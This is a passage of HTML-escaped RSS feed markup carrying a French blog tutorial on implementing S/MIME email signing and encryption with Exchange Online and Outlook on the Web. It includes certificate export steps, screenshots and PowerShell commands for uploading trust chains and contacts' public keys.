&lt;/div&gt;&lt;/figure&gt;
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="wizard finish"
srcset="https://cravaterouge.com/media/smime/cert_install5_hu_9916922785b5ff7c.webp 320w, https://cravaterouge.com/media/smime/cert_install5_hu_2eeb5e41f2221c0b.webp 480w, https://cravaterouge.com/media/smime/cert_install5_hu_1d8850d23ef715e3.webp 637w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/cert_install5_hu_9916922785b5ff7c.webp"
width="637"
height="587"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;li&gt;Une fois installé, ouvrez l&amp;rsquo;utilitaire &lt;code&gt;Gérer les certificats utilisateur&lt;/code&gt; depuis la barre de recherche Windows :
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="certmgr"
srcset="https://cravaterouge.com/media/smime/cert_install6_hu_8aa5c747acc99afe.webp 320w, https://cravaterouge.com/media/smime/cert_install6_hu_6db43c579dc30336.webp 480w, https://cravaterouge.com/media/smime/cert_install6_hu_d5cdbb0ee645c86d.webp 760w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/cert_install6_hu_8aa5c747acc99afe.webp"
width="760"
height="704"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;li&gt;Allez dans le dossier où votre certificat est installé. Cela devrait être &lt;code&gt;Personnel &amp;gt; Certificats&lt;/code&gt; :
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="cert store"
srcset="https://cravaterouge.com/media/smime/cert_install7_hu_a6162c6618261870.webp 320w, https://cravaterouge.com/media/smime/cert_install7_hu_8f6cbebae5838791.webp 480w, https://cravaterouge.com/media/smime/cert_install7_hu_afb5dce5c8925454.webp 690w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/cert_install7_hu_a6162c6618261870.webp"
width="690"
height="523"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;li&gt;Faites un clic droit sur votre certificat et sélectionnez &lt;code&gt;Toutes les tâches &amp;gt; Exporter&lt;/code&gt; :
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="export cert"
srcset="https://cravaterouge.com/media/smime/cert_install8_hu_2ef9e72bc770cedd.webp 320w, https://cravaterouge.com/media/smime/cert_install8_hu_85aa395bb0ed1339.webp 480w, https://cravaterouge.com/media/smime/cert_install8_hu_1ce15b8941d8f687.webp 760w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/cert_install8_hu_2ef9e72bc770cedd.webp"
width="760"
height="463"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;li&gt;Suivez l&amp;rsquo;assistant pour enregistrer votre certificat au format &lt;code&gt;.der&lt;/code&gt;, vous en aurez besoin pour télécharger la clé publique sur Exchange Online plus tard.
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="export wizard"
srcset="https://cravaterouge.com/media/smime/cert_install9_hu_96ca626534e41c5.webp 320w, https://cravaterouge.com/media/smime/cert_install9_hu_b4435e37ed100fd5.webp 480w, https://cravaterouge.com/media/smime/cert_install9_hu_64c83b784351d779.webp 751w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/cert_install9_hu_96ca626534e41c5.webp"
width="751"
height="642"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="export wizard no key"
srcset="https://cravaterouge.com/media/smime/cert_install10_hu_213955dd108f921b.webp 320w, https://cravaterouge.com/media/smime/cert_install10_hu_1b8653afc53228ce.webp 480w, https://cravaterouge.com/media/smime/cert_install10_hu_12459eebbd812303.webp 760w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/cert_install10_hu_213955dd108f921b.webp"
width="760"
height="569"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="export wizard der"
srcset="https://cravaterouge.com/media/smime/cert_install11_hu_5daf75ec85e582ed.webp 320w, https://cravaterouge.com/media/smime/cert_install11_hu_64945d3e2a9237ce.webp 480w, https://cravaterouge.com/media/smime/cert_install11_hu_1f28f71d210232e4.webp 752w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/cert_install11_hu_5daf75ec85e582ed.webp"
width="752"
height="612"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="export wizard location"
srcset="https://cravaterouge.com/media/smime/cert_install12_hu_5ee2f93165cea150.webp 320w, https://cravaterouge.com/media/smime/cert_install12_hu_5e1152c9af6c9f6f.webp 480w, https://cravaterouge.com/media/smime/cert_install12_hu_d1fc9c51d3141608.webp 760w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/cert_install12_hu_5ee2f93165cea150.webp"
width="760"
height="595"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="export wizard finish"
srcset="https://cravaterouge.com/media/smime/cert_install13_hu_72796d4e050ff08c.webp 320w, https://cravaterouge.com/media/smime/cert_install13_hu_93dcdc1bcf2396a5.webp 480w, https://cravaterouge.com/media/smime/cert_install13_hu_af6d6cbe597875a3.webp 758w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/cert_install13_hu_72796d4e050ff08c.webp"
width="758"
height="600"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="télécharger-la-chaîne-de-confiance-sur-exchange-online"&gt;Télécharger la chaîne de confiance sur Exchange Online&lt;/h2&gt;
&lt;p&gt;Contrairement à Windows, Exchange Online n&amp;rsquo;a pas d&amp;rsquo;autorités de certification préinstallées. Vous devrez y ajouter toutes les autorités de certification qui peuvent vérifier vos certificats d&amp;rsquo;utilisateur final et de contacts.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Ouvrez &lt;code&gt;usercrtmngr&lt;/code&gt; à nouveau et double-cliquez sur le certificat de l&amp;rsquo;utilisateur final&lt;/li&gt;
&lt;li&gt;Dans l&amp;rsquo;onglet &lt;code&gt;Chemin de certification&lt;/code&gt;, vous verrez tous les certificats vérifiant le certificat de l&amp;rsquo;utilisateur final, c&amp;rsquo;est ce qu&amp;rsquo;on appelle la chaîne de confiance&lt;/li&gt;
&lt;li&gt;Assurez-vous que tous ces certificats sont dans le même dossier ou copiez ceux qui sont en dehors dans le dossier actuel pour pouvoir les concaténer plus tard&lt;/li&gt;
&lt;li&gt;Répétez les étapes ci-dessus pour tous vos utilisateurs finaux et contacts&lt;/li&gt;
&lt;li&gt;Utilisez &lt;code&gt;ctrl+clic gauche&lt;/code&gt; pour sélectionner chaque certificat de la chaîne de confiance (s&amp;rsquo;il n&amp;rsquo;y a qu&amp;rsquo;un seul certificat dans la chaîne de confiance, incluez un autre certificat avec pour pouvoir exporter la liste au format &lt;code&gt;.sst&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Faites un clic droit sur l&amp;rsquo;un des certificats sélectionnés et sélectionnez &lt;code&gt;Toutes les tâches &amp;gt; Exporter&lt;/code&gt;, suivez l&amp;rsquo;assistant et sélectionnez le format &lt;code&gt;.sst&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;En utilisant Powershell 7 (en dessous de 7, vous aurez l&amp;rsquo;erreur &lt;code&gt;unable to find type [uint]&lt;/code&gt;) :&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ps1" data-lang="ps1"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Install-Module&lt;/span&gt; &lt;span class="n"&gt;ExchangeOnlineManagement&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Import-Module&lt;/span&gt; &lt;span class="n"&gt;ExchangeOnlineManagement&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Connect-ExchangeOnline&lt;/span&gt; &lt;span class="n"&gt;-UserPrincipalName&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;exchangeadmin_for_yourdomain&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Set-SmimeConfig&lt;/span&gt; &lt;span class="n"&gt;-SMIMECertificateIssuingCA&lt;/span&gt; &lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="no"&gt;System.IO.File&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="n"&gt;ReadAllBytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;C:\Users\Gold\Downloads\chainOfTrust.sst&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="8"&gt;
&lt;li&gt;Attendez un peu de temps pour que la modification soit propagée&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Super ! Nous avons maintenant tout ce qu&amp;rsquo;il faut pour signer et déchiffrer nos emails dans OWA, qu&amp;rsquo;en est-il du chiffrement ou de la vérification de la signature des emails ?&lt;/p&gt;
&lt;h2 id="installer-la-clé-publique-sur-exchange-online"&gt;Installer la clé publique sur Exchange Online&lt;/h2&gt;
&lt;p&gt;Cette partie n&amp;rsquo;est pas bien documentée, en particulier le cas d&amp;rsquo;utilisation pour ajouter un contact en dehors de notre Exchange Online où je n&amp;rsquo;ai trouvé aucune documentation à ce sujet, mais cela fonctionne ! Alors commençons.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Rassemblez les clés publiques de vos contacts au format DERv3 (comme mentionné à l&amp;rsquo;étape 5 de &lt;a href="#installer-votre-certificat-smime"&gt;Installer votre certificat S/MIME&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Utilisez le code powershell suivant pour concaténer chaque DERv3 en &lt;code&gt;.sst&lt;/code&gt; :&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ps1" data-lang="ps1"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$certArray&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;New-Object&lt;/span&gt; &lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;Collections&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;ArrayList&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$cert&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;New-Object&lt;/span&gt; &lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;Security&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;Cryptography&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;X509Certificates&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;X509Certificate2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;D:\Gold\Documents\VM-apps\baptiste@cravaterouge.com.cer&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;-&lt;/span&gt; &lt;span class="n"&gt;DERv3&lt;/span&gt; &lt;span class="n"&gt;format&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$certArray&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;Insert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$cert&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;GetRawCertData&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="3"&gt;
&lt;li&gt;Si le contact appartient au même Exchange Online, utilisez la commande powershell suivante :&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ps1" data-lang="ps1"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Set-Mailbox&lt;/span&gt; &lt;span class="n"&gt;-Identity&lt;/span&gt; &lt;span class="n"&gt;baptiste&lt;/span&gt; &lt;span class="n"&gt;-UserCertificate&lt;/span&gt; &lt;span class="nv"&gt;$certArray&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="4"&gt;
&lt;li&gt;Si le contact est externe à cet Exchange Online, utilisez la commande suivante :&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ps1" data-lang="ps1"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# Utilisez cette commande si le contact n&amp;#39;est pas déjà créé&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;New-MailContact&lt;/span&gt; &lt;span class="n"&gt;-Name&lt;/span&gt; &lt;span class="n"&gt;CravateRouge_SMIME&lt;/span&gt; &lt;span class="n"&gt;-ExternalEmailAddress&lt;/span&gt; &lt;span class="n"&gt;baptiste&lt;/span&gt;&lt;span class="nv"&gt;@cravaterouge&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;com&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Set-MailContact&lt;/span&gt; &lt;span class="n"&gt;-Identity&lt;/span&gt; &lt;span class="n"&gt;CravateRouge_SMIME&lt;/span&gt; &lt;span class="n"&gt;-UserCertificate&lt;/span&gt; &lt;span class="nv"&gt;$certArray&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="5"&gt;
&lt;li&gt;Assurez-vous que le certificat a été correctement mis à jour en vérifiant que &lt;code&gt;Get-Mailbox/Get-MailContact -Identity CravateRouge | select UserCertificate&lt;/code&gt; renvoie le même binaire que &lt;code&gt;$cert.GetRawCertData()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Pour envoyer un email à ces contacts, vous devez les sélectionner dans les contacts GAL avec le nom d&amp;rsquo;identité exact que vous avez donné dans la commande powershell ci-dessus. Par exemple, pour envoyer un email à &lt;strong&gt;Baptiste&lt;/strong&gt;, je dois utiliser le contact nommé &lt;strong&gt;CravateRouge_SMIME&lt;/strong&gt; et non en tapant directement &lt;strong&gt;baptiste@cravaterouge.com&lt;/strong&gt; ou en utilisant une autre carte de contact même si elle contient la même adresse email.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="résultat"&gt;Résultat&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Vous pouvez maintenant signer chacun de vos emails pour prouver aux destinataires que vous êtes l&amp;rsquo;expéditeur original et déchiffrer les emails qui vous sont envoyés
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="sign everything"
srcset="https://cravaterouge.com/media/smime/sign_everything_hu_37848f5a8107ccaf.webp 320w, https://cravaterouge.com/media/smime/sign_everything_hu_9bb4d636e83725ab.webp 480w, https://cravaterouge.com/media/smime/sign_everything_hu_74890d2237cb7bee.webp 760w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/sign_everything_hu_37848f5a8107ccaf.webp"
width="760"
height="509"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;li&gt;Et vous pouvez également chiffrer/vérifier les emails des contacts que vous avez ajoutés à Exchange Online
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="encrypt selected"
srcset="https://cravaterouge.com/media/smime/encrypt_whitelisted_hu_cb0a520fcfbeafd5.webp 320w, https://cravaterouge.com/media/smime/encrypt_whitelisted_hu_51e9d68f0935ed19.webp 423w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/encrypt_whitelisted_hu_cb0a520fcfbeafd5.webp"
width="423"
height="470"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="callout flex px-4 py-3 mb-6 rounded-md border-l-4 bg-blue-100 dark:bg-blue-900 border-blue-500"
data-callout="note"
data-callout-metadata=""&gt;
&lt;span class="callout-icon pr-3 pt-1 text-blue-600 dark:text-blue-300"&gt;
&lt;svg height="24" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"&gt;&lt;path fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="1.5" d="m16.862 4.487l1.687-1.688a1.875 1.875 0 1 1 2.652 2.652L6.832 19.82a4.5 4.5 0 0 1-1.897 1.13l-2.685.8l.8-2.685a4.5 4.5 0 0 1 1.13-1.897zm0 0L19.5 7.125"/&gt;&lt;/svg&gt;
&lt;/span&gt;
&lt;div class="callout-content dark:text-neutral-300"&gt;
&lt;div class="callout-title font-semibold mb-1"&gt;Note&lt;/div&gt;
&lt;div class="callout-body"&gt;&lt;p&gt;Même si tout fonctionne bien, vous pouvez toujours avoir un message d&amp;rsquo;erreur lors de l&amp;rsquo;envoi de messages chiffrés à des clients externes. Ne vous inquiétez pas, c&amp;rsquo;est juste un bug de Microsoft car cette fonctionnalité n&amp;rsquo;est pas encore bien prise en charge.
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="encryption error"
srcset="https://cravaterouge.com/media/smime/error_encrypted_hu_4f74c78b220dabe1.webp 320w, https://cravaterouge.com/media/smime/error_encrypted_hu_ae3fd34d6cdfa9fa.webp 480w, https://cravaterouge.com/media/smime/error_encrypted_hu_477ab9a9ffb6b5ff.webp 760w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/error_encrypted_hu_4f74c78b220dabe1.webp"
width="760"
height="228"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;/p&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Implémenter S/MIME avec Exchange Online et OWA</title><link>https://cravaterouge.com/fr/articles/smime-exchange/</link><pubDate>Thu, 14 Nov 2024 00:00:00 +0000</pubDate><guid>https://cravaterouge.com/fr/articles/smime-exchange/</guid><description>&lt;p&gt;Aaah l&amp;rsquo;email, inventé à la fin du 20ème siècle et toujours la pierre angulaire de la communication d&amp;rsquo;aujourd&amp;rsquo;hui. Cependant, les besoins en sécurité augmentent et nous avons dû trouver de nouvelles façons de garantir la sécurité de nos communications email. Pourquoi ? Parce que pour échanger des emails, les serveurs email utilisent SMTP, un protocole non chiffré, donc on peut oublier la garantie de confidentialité et d&amp;rsquo;authenticité. Il est vrai que nous pouvons l&amp;rsquo;encapsuler dans TLS en utilisant SMTPS ou STARTTLS mais si vous utilisez &lt;strong&gt;Exchange Online&lt;/strong&gt; et que le serveur de messagerie du destinataire ne prend pas en charge TLS, alors la communication sera &lt;a href="https://learn.microsoft.com/en-us/purview/exchange-online-uses-tls-to-secure-email-connections#tls-basics-for-microsoft-365-and-exchange-online" target="_blank" rel="noopener"&gt;simplement en SMTP non chiffré&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est là que des standards comme &lt;a href="https://en.wikipedia.org/wiki/S/MIME" target="_blank" rel="noopener"&gt;S/MIME&lt;/a&gt; (Secure/Multipurpose Internet Mail Extensions) viennent à notre secours !&lt;br&gt;
En utilisant ce standard, vous pouvez signer votre email avec votre clé privée avant de l&amp;rsquo;envoyer au destinataire qui peut le vérifier avec votre clé publique (clé publique que vous échangez avec le destinataire par un autre moyen sécurisé). Vous pouvez également chiffrer un email avec la clé publique du destinataire pour garantir que seul ce destinataire peut l&amp;rsquo;ouvrir.&lt;/p&gt;
&lt;p&gt;Et là vous allez me dire que toute cette petite histoire est très intéressante mais comment fait-on pour l&amp;rsquo;implémenter ? Vous pourriez implémenter S/MIME sur chacun de vos clients email s&amp;rsquo;ils le prennent en charge comme Outlook classic, mais alors vous devez ajouter la clé publique de vos contacts sur chaque client email, ce qui peut être un peu fastidieux mais fonctionne ! Il est également bon de noter que le Nouvel Outlook ne prend pas encore en charge S/MIME mais devrait le prendre en charge durant ce mois de &lt;a href="https://www.microsoft.com/en-us/microsoft-365/roadmap?filters=Outlook%2CDesktop%2CWeb&amp;amp;searchterms=s%2Fmime" target="_blank" rel="noopener"&gt;novembre 2024&lt;/a&gt;.&lt;br&gt;
Cependant, si vous avez Exchange Online, vous pourriez configurer les clés publiques de tous les contacts une seule fois pour tout le monde sur votre serveur ! Mais ce n&amp;rsquo;est pas magique, chaque utilisateur devra toujours installer sa propre clé privée localement sur son appareil.&lt;/p&gt;
&lt;p&gt;Dans cet article, nous verrons comment l&amp;rsquo;implémenter sur Exchange Online avec Outlook sur le Web (OWA).&lt;/p&gt;
&lt;h2 id="installer-la-clé-privée-sur-votre-machine-locale"&gt;Installer la clé privée sur votre machine locale&lt;/h2&gt;
&lt;h3 id="installer-le-contrôle-smime-pour-owa"&gt;Installer le contrôle S/MIME pour OWA&lt;/h3&gt;
&lt;p&gt;Tout d&amp;rsquo;abord, vous devrez installer le contrôle S/MIME sur votre navigateur (à ce jour, il n&amp;rsquo;est disponible que sur Edge et Chrome) afin qu&amp;rsquo;OWA puisse appeler l&amp;rsquo;API Windows de votre machine locale pour chiffrer/signer les emails en utilisant la clé privée installée dessus.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Ouvrez &lt;code&gt;outlook.office.com&lt;/code&gt; et allez dans les paramètres en cliquant sur l&amp;rsquo;engrenage en haut à droite
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="gear"
srcset="https://cravaterouge.com/media/smime/smime_control1_hu_79e66fa8e2212fff.webp 320w, https://cravaterouge.com/media/smime/smime_control1_hu_52bfcc40e2ab29f3.webp 480w, https://cravaterouge.com/media/smime/smime_control1_hu_f8f17aebc6f93b81.webp 760w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/smime_control1_hu_79e66fa8e2212fff.webp"
width="760"
height="349"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;li&gt;Cliquez sur &lt;code&gt;Mail &amp;gt; SMIME&lt;/code&gt; et sur le lien &lt;code&gt;cliquez ici&lt;/code&gt; pour installer l&amp;rsquo;extension du navigateur
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="click link"
srcset="https://cravaterouge.com/media/smime/smime_control2_hu_4a2e40a667fe0f38.webp 320w, https://cravaterouge.com/media/smime/smime_control2_hu_a213efb1f9073d4e.webp 480w, https://cravaterouge.com/media/smime/smime_control2_hu_b25672a818ecda34.webp 760w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/smime_control2_hu_4a2e40a667fe0f38.webp"
width="760"
height="385"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;li&gt;Une fois l&amp;rsquo;extension du navigateur installée, retournez à la page des paramètres et cliquez sur le lien &lt;code&gt;cliquez ici&lt;/code&gt; pour télécharger et installer l&amp;rsquo;extension de contrôle &lt;code&gt;SmimeOutlookWebChrome.msi&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Une fois cela fait, vous pouvez redémarrer votre navigateur et vous assurer que ces cases ne sont plus grisées.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="installer-votre-certificat-smime"&gt;Installer votre certificat S/MIME&lt;/h3&gt;
&lt;p&gt;Si vous n&amp;rsquo;avez pas encore de certificat, vous devrez en demander un. Vous pouvez en demander un à une CA publique (Autorité de Certification) mais à part &lt;a href="https://extrassl.actalis.it/portal/uapub/freemail?lang=en" target="_blank" rel="noopener"&gt;Actalis&lt;/a&gt;, je ne connais pas d&amp;rsquo;autres CA publiques gratuites pour les certificats S/MIME. Vous pouvez également en demander un à votre propre CA privée (par exemple en utilisant openssl) mais vous devrez alors importer le certificat public de la CA privée dans &lt;code&gt;crtmngr&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Vous devrez ensuite installer votre certificat sur la machine de votre navigateur :&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Double-cliquez sur votre certificat &lt;code&gt;.p12&lt;/code&gt;, suivez l&amp;rsquo;assistant et fournissez le mot de passe du certificat :
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="wizard store"
srcset="https://cravaterouge.com/media/smime/cert_install1_hu_5f118eb5b4e1a464.webp 320w, https://cravaterouge.com/media/smime/cert_install1_hu_e2f35571b442db6a.webp 480w, https://cravaterouge.com/media/smime/cert_install1_hu_d06ddcdb005a5030.webp 657w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/cert_install1_hu_5f118eb5b4e1a464.webp"
width="657"
height="595"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="wizard location"
srcset="https://cravaterouge.com/media/smime/cert_install2_hu_17624a27ad3a8899.webp 320w, https://cravaterouge.com/media/smime/cert_install2_hu_fdb61b740e8782fd.webp 480w, https://cravaterouge.com/media/smime/cert_install2_hu_53385c1c21243ab6.webp 577w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/cert_install2_hu_17624a27ad3a8899.webp"
width="577"
height="557"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="wizard pwd"
srcset="https://cravaterouge.com/media/smime/cert_install3_hu_52a0a9e1e99fe329.webp 320w, https://cravaterouge.com/media/smime/cert_install3_hu_f5c80ba328b30fa9.webp 480w, https://cravaterouge.com/media/smime/cert_install3_hu_e0f420a8f413609f.webp 616w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/cert_install3_hu_52a0a9e1e99fe329.webp"
width="616"
height="568"
